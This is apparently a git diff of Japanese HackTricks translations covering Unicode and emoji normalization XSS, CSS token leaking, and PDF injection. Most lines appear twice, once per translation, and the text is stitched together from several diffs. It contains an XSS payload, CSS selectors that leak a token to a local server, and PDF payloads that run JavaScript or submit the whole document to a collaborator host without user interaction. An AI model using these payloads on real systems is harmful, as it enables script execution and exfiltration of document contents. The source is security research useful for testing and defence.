必要な文字を見つけるには、[https://unicode-explorer.com/](https://unicode-explorer.com/)をチェックしてください。
ユニコード文字は通常、**`\u` プレフィックス**で表されます。例えば、文字 `㱋` は `\u3c4b`([ここで確認](https://unicode-explorer.com/c/3c4B))です。バックエンドがプレフィックス**`\u` を `%` に変換する**と、結果の文字列は `%3c4b` となり、URLデコードすると: **`<4b`** です。そして、ご覧の通り、**`<` 文字が注入されます**。\
バックエンドが脆弱であれば、この技術を使って**任意の文字を注入する**ことができます。\
必要な文字を見つけるには [https://unicode-explorer.com/](https://unicode-explorer.com/) をチェックしてください。
この脆弱性は、実際には研究者が見つけた脆弱性から派生しています。詳細な説明については、[https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg)をチェックしてください。
この脆弱性は、実際には研究者が見つけた脆弱性から来ています。より詳細な説明については [https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg) をチェックしてください。
## 絵文字注入
## 絵文字注入
バックエンドは、**絵文字を受け取るときに奇妙な動作**をすることがあります。これは、[**この解説記事**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209)で起こったことで、研究者は次のようなペイロードでXSSを達成しました`💋img src=x onerror=alert(document.domain)//💛`
バックエンドは時々、**絵文字を受け取る**と奇妙な挙動をします。それは[**このライトアップ**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209)で起こったことで、研究者は次のようなペイロードでXSSを達成しました: `💋img src=x onerror=alert(document.domain)//💛`
この場合、エラーはサーバーが悪意のある文字を削除した後、UTF-8の文字列をWindows-1252からUTF-8に**変換したこと**でした(基本的に入力のエンコーディングと変換元のエンコーディングが一致しなかった)。その後、これは正しい<ではなく奇妙なUnicodeの<を生成します``\
``そのため、この出力を**再度UTF-8からASCIIに変換**しました。これにより、``が`<`に**正規化**され、このシステムでエクスプロイトが機能するようになりました。\
これが起こったことです
この場合、エラーはサーバーが悪意のある文字を削除した後、UTF-8文字列をWindows-1252からUTF-8に変換したことでした基本的に入力エンコーディングと変換からのエンコーディングが一致していませんでした。それで、これは適切な < を与えずに奇妙なユニコードの一つを与えます: ``\
``そこで、この出力を**再びUTF-8からASCIIに変換**しました。これにより、`` が `<` に**正規化され**、そのシステムでエクスプロイトが機能する方法です。\
これが起こったことです:
```php
<?php
@ -56,23 +54,21 @@ $str = iconv("UTF-8", "ASCII//TRANSLIT", $str);
echo "String: " . $str;
```
絵文字リスト:
Emojiリスト:
* [https://github.com/iorch/jakaton\_feminicidios/blob/master/data/emojis.csv](https://github.com/iorch/jakaton\_feminicidios/blob/master/data/emojis.csv)
* [https://unicode.org/emoji/charts-14.0/full-emoji-list.html](https://unicode.org/emoji/charts-14.0/full-emoji-list.html)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝したいですか**?または、**PEASSの最新バージョンにアクセスしたいですか、またはHackTricksをPDFでダウンロードしたいですか**[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私を**フォロー**する[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* **HackTricksにあなたの会社を広告したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックしてください
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローしてください。**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有してください。**
</details>

View file

@ -2,23 +2,21 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
最も重要な脆弱性を見つけて、より早く修正しましょう。Intruderはあなたの攻撃面を追跡し、積極的な脅威スキャンを実行し、APIからウェブアプリ、クラウドシステムに至るまでの全技術スタックで問題を見つけます。今日[**無料で試す**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -34,7 +32,11 @@
@import url('//localhost:5001/start?');
</style>
```
```markdown
{% endcode %}
{% code title="server.js" %}
```
```javascript
const http = require('http');
const url = require('url');
@ -191,9 +193,9 @@ input[value=]{list-style:url(http://localhost:5001/end?token=&)};
/*
HTTP/1.1 200 OK
Content-Type: text/css
日付金曜日、2022年4月1日 14:35:39 GMT
接続:クローズ
コンテンツの長さ:2149
Date: Fri, 01 Apr 2022 14:35:39 GMT
Connection: close
Content-Length: 2149
@import url(http://localhost:5001/next?0.7834603960990516);
input[value$="0"]{--e0:url(http://localhost:5001/leak?post=0)}
@ -232,26 +234,25 @@ input[value^="f"]{--s0:url(http://localhost:5001/leak?pre=f)}
input{border-image:var(--s0)}
input[value=]{list-style:url(http://localhost:5001/end?token=&)};
*/
```
{% endcode %}
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは、攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
最も重要な脆弱性を見つけて、より早く修正しましょう。Intruderは攻撃面を追跡し、積極的な脅威スキャンを実行し、APIからウェブアプリ、クラウドシステムまで、技術スタック全体の問題を見つけます。今日[**無料でお試し**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには、</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェック!</strong></summary>
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
* HackTricksに**会社を広告掲載したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手しましょう。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックしてください。
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**してください。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを**共有**してください。
</details>

View file

@ -1,27 +1,25 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**する。
* **HackTricks**のPRを[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリに提出して、あなたのハッキングのコツを共有する。
</details>
**PDFファイル内に入力が反映されている場合、JavaScriptを実行したり、PDFの内容を盗み出すためにPDFデータを注入することができます。**
**PDFファイル内で入力が反映されている場合、JavaScriptを実行したりPDFコンテンツを盗むためにPDFデータを注入してみることができます。**
以下の情報は[**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)から取得されました。
## PDF-Lib
今回は、[PDFLib](https://pdf-lib.js.org)を使用していました。ライブラリを使用して注釈を作成し、注釈URIに閉じ括弧を注入できるかどうかを確認しました。そして、うまくいきました私が使用した脆弱なコードのサンプルは次のとおりです
この時、私は[PDFLib](https://pdf-lib.js.org)を使用していました。ライブラリを使って注釈を作成し、注釈URIに閉じ括弧を注入できるか試してみました - そして成功しました!注釈コードを生成するために使用したサンプルの脆弱なコードは以下の通りです:
`...` \
`A: {`\
@ -32,9 +30,9 @@
`})`\
`...`
[完全なコード](https://github.com/PortSwigger/portable-data-exfiltration/blob/main/PDF-research-samples/pdf-lib/first-injection/test.js)
[完全なコード:](https://github.com/PortSwigger/portable-data-exfiltration/blob/main/PDF-research-samples/pdf-lib/first-injection/test.js)
注入が成功したかどうかはどのように知りましたか閉じ括弧を注入しない限り、PDFは正しくレンダリングされます。これにより、閉じ括弧が文字列から抜け出して無効なPDFコードを引き起こしていることが証明されました。PDFを壊すことができましたが、もちろんJavaScriptを実行できることを確認する必要がありました。レンダリングされたPDFコードを調べると、出力がFlateDecodeフィルタを使用してエンコードされていることに気付きました。ブロックを解凍するための小さなスクリプトを作成し、注釈セクションの出力は次のようになりました`<<`\
注入が成功したことをどうやって知ったのでしょうかPDFは閉じ括弧を注入しない限り正しくレンダリングされます。これは閉じ括弧が文字列から抜け出て無効なPDFコードを引き起こしていることを証明しました。PDFを壊すことは良いことですが、もちろんJavaScriptを実行できることを確認する必要がありました。レンダリングされたPDFコードを見て、出力がFlateDecodeフィルターを使用してエンコードされていることに気づきました。ブロックをデフレートするための小さなスクリプトを書き、注釈セクションの出力は次のようになりました:`<<`\
`/Type /Annot`\
`/Subtype /Link`\
`/Rect [ 50 746.89 320 711.89 ]`\
@ -47,34 +45,37 @@
`>>`\
`>>`
明らかに、注入文字列は閉じ括弧でテキストの境界を閉じており、PDFが正しくレンダリングされないようになっています
明らかに、注入文字列は閉じ括弧でテキスト境界を閉じており、既存の閉じ括弧が残っているため、PDFが正しくレンダリングされません:
![PDFを読み込む際にエラーダイアログが表示されるスクリーンショット](https://portswigger.net/cms/images/34/f4/3ed2-article-screenshot-showing-damaged-pdf.png)
![PDFをロードする際のエラーダイアログを示すスクリーンショット](https://portswigger.net/cms/images/34/f4/3ed2-article-screenshot-showing-damaged-pdf.png)
素晴らしい、PDFのレンダリングを壊すことができましたが、次はどうすればいいでしょうかJavaScriptを呼び出す注入を考える必要があります - PDF注入のalert(1)です。
素晴らしい、PDFのレンダリングを壊すことができましたが、次は何でしょうかJavaScriptを呼び出す注入を考え出す必要がありました - PDF注入のalert(1)です。
XSSベクトルがブラウザの解析に依存するように、PDF注入の脆弱性はPDFレンダラに依存する場合があります。私はまずAcrobatをターゲットにしました。Chromeではベクトルがうまく機能しないと思われたためです。2つのことに気付きました1追加の注釈アクションを注入できること、2既存の閉じ括弧を修復するとPDFがレンダリングされること。いくつかの実験の結果、注入が追加の注釈アクションを注入し、JavaScriptを実行し、閉じ括弧を修復する素敵なペイロードを作成しました:`/blah)>>/A<</S/JavaScript/JS(app.alert(1);)/Type/Action>>/>>(`
XSSベクトルがブラウザの解析に依存するように、PDF注入の悪用可能性もPDFレンダラーに依存することがあります。私はAcrobatをターゲットにすることから始めました。Chromeではベクトルが機能しない可能性が低いと思ったからです。2つのことに気づきました: 1) 追加の注釈アクションを注入できること、および2) 既存の閉じ括弧を修復するとPDFがレンダリングされること。いくつかの実験の後、追加の注釈アクションを注入し、JavaScriptを実行し、閉じ括弧を修復する素敵なペイロードを考え出しました:`/blah)>>/A<</S/JavaScript/JS(app.alert(1);)/Type/Action>>/>>(`
まず、括弧から抜け出し、新しい注釈辞書を始める前に>>を使用して辞書から抜け出します。/S/JavaScriptは注釈をJavaScriptベースにし、/JSはJavaScriptが格納される場所です。括弧の中には実際のJavaScriptがあります。括弧がバランスしている場合は、括弧をエスケープする必要はありません。最後に、注釈のタイプを追加し、辞書を終了し、閉じ括弧を修復します。これはとてもクールでした。JavaScriptを実行する注入を作成できましたが、それだけでは何の役にも立ちませんよねJavaScriptを実行できますが、DOMにアクセスすることはできないため、クッキーを読み取ることはできません。その後、Jamesが現れて、注入からPDFの内容を盗むことを提案しました。PDFの内容を取得する方法を調べ始めました。Acrobatで、ユーザーの操作なしにフォームを送信するためにJavaScriptを使用できることを発見しましたJavaScript APIの仕様を見ると、PDFコードのすべての内容をPOSTリクエストで外部サーバーに送信するJavaScriptを追加するのはかなり簡単でした`/blah)>>/A<</S/JavaScript/JS(app.alert(1);`\
最初に括弧から抜け出し、辞書から抜け出すために>>を使用してから、新しい注釈辞書を開始します。/S/JavaScriptは注釈をJavaScriptベースにし、/JSはJavaScriptが格納されている場所です。括弧内は実際のJavaScriptです。括弧がバランスしていれば、括弧をエスケープする必要はありません。最後に、注釈のタイプを追加し、辞書を完成させ、閉じ括弧を修復します。これはとてもクールでした。JavaScriptを実行する注入を作成できましたが、それが何だというのでしょうかJavaScriptを実行できますが、DOMにアクセスできないので、クッキーを読むことはできません。それからJamesが現れて、注入からPDFの内容を盗むことを提案しました。PDFの内容を取得する方法を探し始めました。Acrobatでは、ユーザーの操作なしにJavaScriptを使用してフォームを送信できることがわかりましたJavaScript APIの仕様を見ると、基本的な注入を修正し、PDFコードの全内容を外部サーバーにPOSTリクエストとして送信するJavaScriptを追加するのはかなり簡単でした:`/blah)>>/A<</S/JavaScript/JS(app.alert(1);`\
`this.submitForm({`\
`cURL: 'https://your-id.burpcollaborator.net',cSubmitAs: 'PDF'}))`\
`/Type/Action>>/>>(`
alertは必要ありませんが、注入がJavaScriptを実行していることを証明するために追加しました。
アラートは必要ありません。注入がJavaScriptを実行していることを証明するために追加しました。
次に、JavaScriptを使用せずにPDFの内容を盗む方法を見てみました。PDFの仕様から、SubmitFormというアクションを使用できることがわかりました。以前、Burp SuiteでスキャンチェックのためにPDFを構築したときに使用
もしJavaScriptでこれを評価すると、10進数の値256が得られます。つまり、Flagsエントリを256に設定すると、SubmitPDFフラグが有効になり、フォームを送信する際にPDFの内容が送信されます。先ほど作成したベースのインジェクションを使用して、JavaScriptの代わりにSubmitFormアクションを呼び出すように変更するだけです:`/blah)>>/A<</S/SubmitForm/Flags 256/F(`\
次に、JavaScriptを使用せずにPDFの内容を盗むことを楽しんでみました。PDF仕様から、SubmitFormというアクションを使用できることがわかりました。これは以前、Burp Suiteでスキャンチェック用のPDFを構築したときに使用しました。名前が示す通りのことをします。また、辞書内のFlagsエントリを使用して、送信される内容を制御することもできます。Flags辞書キーは単一の整数値を受け入れますが、各個別の設定はバイナリビットによって制御されます。これらの設定を扱う良い方法は、ES6の新しいバイナリリテラルを使用することです。バイナリリテラルは合計14個のフラグがあるため、14ビット長である必要があります。次の例では、すべての設定が無効になっています:`0b00000000000000`
フラグを設定するには、まずそのビット位置を調べる必要があります([PDF仕様](https://www.adobe.com/content/dam/acom/en/devnet/pdf/pdfs/PDF32000\_2008.pdf)の表237。この場合、SubmitPDFフラグを設定したいと思います。これは9番目のビットによって制御されるため、右から9ビットを数えるだけです:`0b00000100000000`
これをJavaScriptで評価すると、10進数の値256になります。言い換えると、Flagsエントリを256に設定すると、SubmitPDFフラグが有効になり、フォームを送信するとPDFの内容が送信されるようになります。すると、以前に作成した基本的な注入を使用し、JavaScriptを呼び出す代わりにSubmitFormアクションを呼び出すように変更するだけです:`/blah)>>/A<</S/SubmitForm/Flags 256/F(`\
`https://your-id.burpcollaborator.net)`\
`/Type/Action>>/>>(`
## sPDF
次に、別のPDFライブラリである[jsPDF](https://parall.ax/products/jspdf)に対して自分の手法を適用し、脆弱性があることを発見しました。このライブラリを攻撃するのはかなり楽しかったです。なぜなら、ブラウザで実行できるAPIがあり、入力するたびにリアルタイムでPDFを生成することができるからです。PDP-Libライブラリと同様に、彼らも注釈のURL内の括弧をエスケープするのを忘れていました。ここではurlプロパティが脆弱でした:`doc.createAnnotation({bounds:`\
次に、別のPDFライブラリ - [jsPDF](https://parall.ax/products/jspdf) - に私の方法論を適用し、それも脆弱であることがわかりました。このライブラリを悪用するのはかなり楽しかったです。なぜなら、彼らはブラウザで実行できるAPIを持っており、タイプするとリアルタイムでPDFを生成できるからです。私は、PDP-Libライブラリと同様に、注釈URL内の括弧をエスケープするのを忘れていることに気づきました。ここではurlプロパティが脆弱でした:`doc.createAnnotation({bounds:`\
`{x:0,y:10,w:200,h:200},`\
``type:'link',url:`/input`});``\
`//vulnerable`
`//脆弱`
そのため、彼らのAPIを使用してPDFを生成し、PDFコードをurlプロパティに注入しました:
したがって、彼らのAPIを使用してPDFを生成し、urlプロパティにPDFコードを注入しました:
`var doc = new jsPDF();`\
`doc.text(20, 20, 'Hello world!');`\
@ -84,21 +85,23 @@ alertは必要ありませんが、注入がJavaScriptを実行しているこ
`/blah)>>/A<</S/JavaScript/JS(app.alert(1);)/Type/Action/F 0/(`\
`` `}); ``
辞書のtypeエントリと不要なFエントリを削除してベクトルを縮小しました。既存の括弧によって閉じられるように、ぶら下がっている括弧を残しました。インジェクションのサイズを縮小することは重要です。なぜなら、インジェクション先のWebアプリケーションが制限された文字数しか許容しない場合があるからです。`/blah)>>/A<</S/JavaScript/JS(app.alert(1)`
私は辞書のtypeエントリと不要なFエントリを削除することでベクトルを縮小しました。そして、既存のものによって閉じられるぶら下がりの括弧を残しました。注入のサイズを縮小することは重要です。なぜなら、注入するWebアプリケーションが許可する文字の量が限られている可能性があるからです。`/blah)>>/A<</S/JavaScript/JS(app.alert(1)`
さらに調査を進めると、複数の注釈を注入することも可能であることがわかりました。これは、単にアクションを注入するだけでなく、注釈から抜け出して独自のrect座標を定義し、ドキュメントのどのセクションをクリック可能にすることができることを意味します。このテクニックを使用すると、ドキュメント全体をクリック可能にすることができました。`/) >> >>`\
次に、ベクトルをさらに縮小することが可能であることがわかりましたAcrobatはURIとJavaScriptエントリを1つの注釈アクション内に許可し、JavaScriptを喜んで実行します:`/)/S/JavaScript/JS(app.alert(1)`
さらなる研究により、複数の注釈を注入することもできることがわかりました。これは、アクションを注入する代わりに注釈から抜け出し、ドキュメントのどのセクションがクリック可能かを選択するために独自のrect座標を定義できることを意味します。このテクニックを使用することで、ドキュメント全体をクリック可能にすることができました。 `/) >> >>`\
`<</Type /Annot /Subtype /Link /Rect [0.00 813.54 566.93 -298.27] /Border [0 0`\
`0] /A <</S/SubmitForm/Flags 0/F(https://your-id.burpcollaborator.net`
## インタラクションなしで注釈を実行する
これまでに示したベクトルは、注釈からのアクションをアクティブ化するためにクリックが必要です。通常、Jamesは「自動的に実行できますか」という質問をしました。PDFの仕様を調べてみると、注釈のいくつかの興味深い機能に気付きました:
これまでに示したベクトルは、注釈からアクションをアクティブにするためにクリックを必要とします。通常、Jamesは「自動的に実行できますか」という質問をしました。PDF仕様を調べて、注釈の興味深い機能に気づきました:
「**PV**と**PI**のエントリは、開いているページと表示されているページを区別することができます。ビューアアプリケーションでは、一度に1つのページのみが開いていると見なされますが、ページのレイアウトに応じて複数のページが表示されることがあります。」
「**PV**および**PI**エントリにより、開いているページと見えているページを区別できます。任意の時点で、ビューアアプリケーションでは単一のページのみが開いていると見なされますが、ページレイアウトに応じて、複数のページが見える場合があります。」
辞書にPVエントリを追加すると、注釈はAcrobatで自動的に発火しますそれだけでなく、PCエントリを使用して、PDFドキュメントが閉じられたときに自動的にペイロードを実行することもできます。攻撃者は、PDFを開いたり閉じたりするときにあなたを追跡することができます。
辞書にPVエントリを追加すると、注釈はAcrobatで自動的に発火しますそれだけでなく、PDFドキュメントが閉じられたときにPCエントリを使用してペイロードを自動的に実行することもできます。攻撃者は、PDFを開いたときと閉じたときにあなたを追跡することができます。
以下は、注釈から自動的に実行する方法です:`var doc = new jsPDF();`\
注釈から自動的に実行する方法は次のとおりです:`var doc = new jsPDF();`\
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/)``\
`>> >>`\
``<</Subtype /Screen /Rect [0 0 900 900] /AA <</PV <</S/JavaScript/JS(app.alert(1))>>/(`});``\
@ -111,94 +114,4 @@ PDFを閉じると、この注釈が発火します:`var doc = new jsPDF();`\
## Chrome
これまでAcrobatについてたくさん話しましたが、PDFiumChromeのPDFリーダーはどうでしょうかChromeは厄介です。JavaScriptのサポートがAcrobatよりも制限されているため、攻撃対象の範囲ははるかに小さくなります。最初に気付いたことは、Chromeでは注釈内でJavaScriptが実行されていないことでしたので、私の概念実証はうまくいきませんでした。Chromeでベクトルを動作させるためには、少なくとも注釈内でJavaScriptを実行する必要があります。しかし、まずは注釈内のURLを上書きしてみることにしました。これは非常に簡単でした。以前に考案したベースのインジェクションを使用して、既存のURLを上書きするURIエントリを持つ別のアクションを単純に注入することができました:`var doc = new jsPDF();`\
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/blah)>>/A<</S/URI/URI(https://portswigger.net)``\
``/Type/Action>>/F 0>>(`});``\
`doc.text(20, 20, 'Test text');`
これにより、クリックするとportswigger.netに移動します。次に、さまざまなインジェクションを試してJavaScriptを呼び出そうとしましたが、これは毎回失敗しました。それは不可能だと思いました。一歩引いて、インジェクションなしでChromeでクリックからJavaScriptを呼び出すための完全なPDFを手動で構築してみることにしました。AcroFormボタンを使用すると、ChromeではJavaScriptの実行が許可されますが、問題はPDFの一部への参照が必要であることでした。JSPDFからJavaScriptを呼び出すインジェクションを作成することに成功しました:`var doc = new jsPDF();`\
